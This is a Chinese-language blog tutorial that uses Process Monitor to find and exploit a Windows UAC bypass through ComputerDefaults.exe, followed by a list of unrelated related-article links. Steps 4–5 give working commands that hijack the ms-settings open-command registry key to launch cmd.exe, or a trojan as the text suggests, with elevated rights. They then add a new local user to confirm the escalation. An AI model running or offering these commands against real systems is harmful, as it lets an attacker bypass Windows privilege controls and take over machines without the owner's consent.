  • Process Monitor是一款由Microsoft Sysinternals出品的、功能强大的高级系统实时监视工具,它能够深度捕获并记录系统中所有进程的文件系统、注册表、进程与线程活动。通过整合并实时呈现系统调用栈的详细信息,该工具为IT专业人员和安全研究员提供了无与伦比的系统内部行为洞察力,使其成为诊断复杂系统故障、排查软件兼容性问题以及进行恶意软件分析与威胁狩猎的核心利器。分析师可以利用它精确定位应用程序因权限或路径问题导致的失败,揭示恶意软件的持久化机制、数据窃取行为和隐蔽通信,从而快速锁定问题根源或理解软件的真实意图。因此,Process Monitor不仅是保障系统稳定性的“瑞士军刀”,更是进行深度安全分析和行为审计不可或缺的专业工具。
  1. 先打开Monitor程序监控软件,接着在终端中运行目标程序(ComputerDefaults/设置),然后监控注册表和文件的变化,找到可以利用的漏洞。
    ComputerDefaults.exe
    
  2. 过滤设置,选择windows设置程序。
    在这里插入图片描述
    在这里插入图片描述
  3. 在软件中使用ctrl+F搜索command的注册表,并且是NAME NOT FIND,代表执行注册表中的命令,但是没有发现这个命令。
    在这里插入图片描述
    在这里插入图片描述
  4. 修改注册表中命令将其修改为木马程序即可实现提权,在终端使用普通管理员,执行以下命令
    reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "C:\windows\system32\cmd.exe" /f
    reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f
    
  5. 再次在终端执行ComputerDefaults.exe,即可打开终端,此时终端中用户具有最高管理员权限。如果执行添加用户命令成功,即可说明提权成功。
    net user yuan yuan@2025 /add
    
http://www.dtcms.com/a/462090.html

相关文章:

  • 商城网站模板dede温州论坛703
  • 多线程——定时器
  • 深圳网站建设哪家公司便宜国外网建站
  • 告别复杂配置:用Milvus、RustFS和Vibe Coding,60分钟DIY专属Chatbot
  • 网站做直播功能需要注册吗备案号查询平台
  • 【HDFS实战】社区版 HDFS 2.8.2滚动升级3.4.1实践
  • 临沂外贸网站建设网站的建设需要虚拟机吗
  • 【MySQL】从零开始了解数据库开发 --- 数据表的约束
  • 建什么网站 做 cpa国外设计案例网站
  • 有可以做推广的网站吗wordpress插件如何开发
  • nginx访问控制 用户认证 https
  • 部署 Ansible
  • 磁悬浮轴承的磁滞非线性:精密控制中的“幽灵”与驯服之道
  • 沈阳网站外包公司wordpress 获取文章的分类id
  • Git 中的某个分支打标签
  • 知识IP如何迭代打法?
  • 今日行情明日机会——20251009
  • 网站游戏网站怎么自己做聚名网域名转出
  • TDengine 数学函数 ABS() 用户手册
  • AI 赋能 IBMS 智能化集成系统:从 “被动监控” 到 “主动决策” 的智慧建筑升级革命
  • 鹤庆县公路建设网站工商营业执照咨询电话24小时
  • 线上做网站赚钱深圳网站优化网站
  • Java 泛型中级面试题及答案
  • Java虚拟机(VM)相关线程与方法的说明展开
  • Windows 11 安装 JDK 25
  • web 消息推送
  • 手写MyBatis第99弹:MyBatis线程安全问题与连接池调优
  • springboot088健康追踪系统软件lgl(源码+部署说明+演示视频+源码介绍+lw)
  • Levenberg-Marquardt( LM)算法详解和二次曲线拟合实战
  • 局域网站建设模版模拟装修设计app免费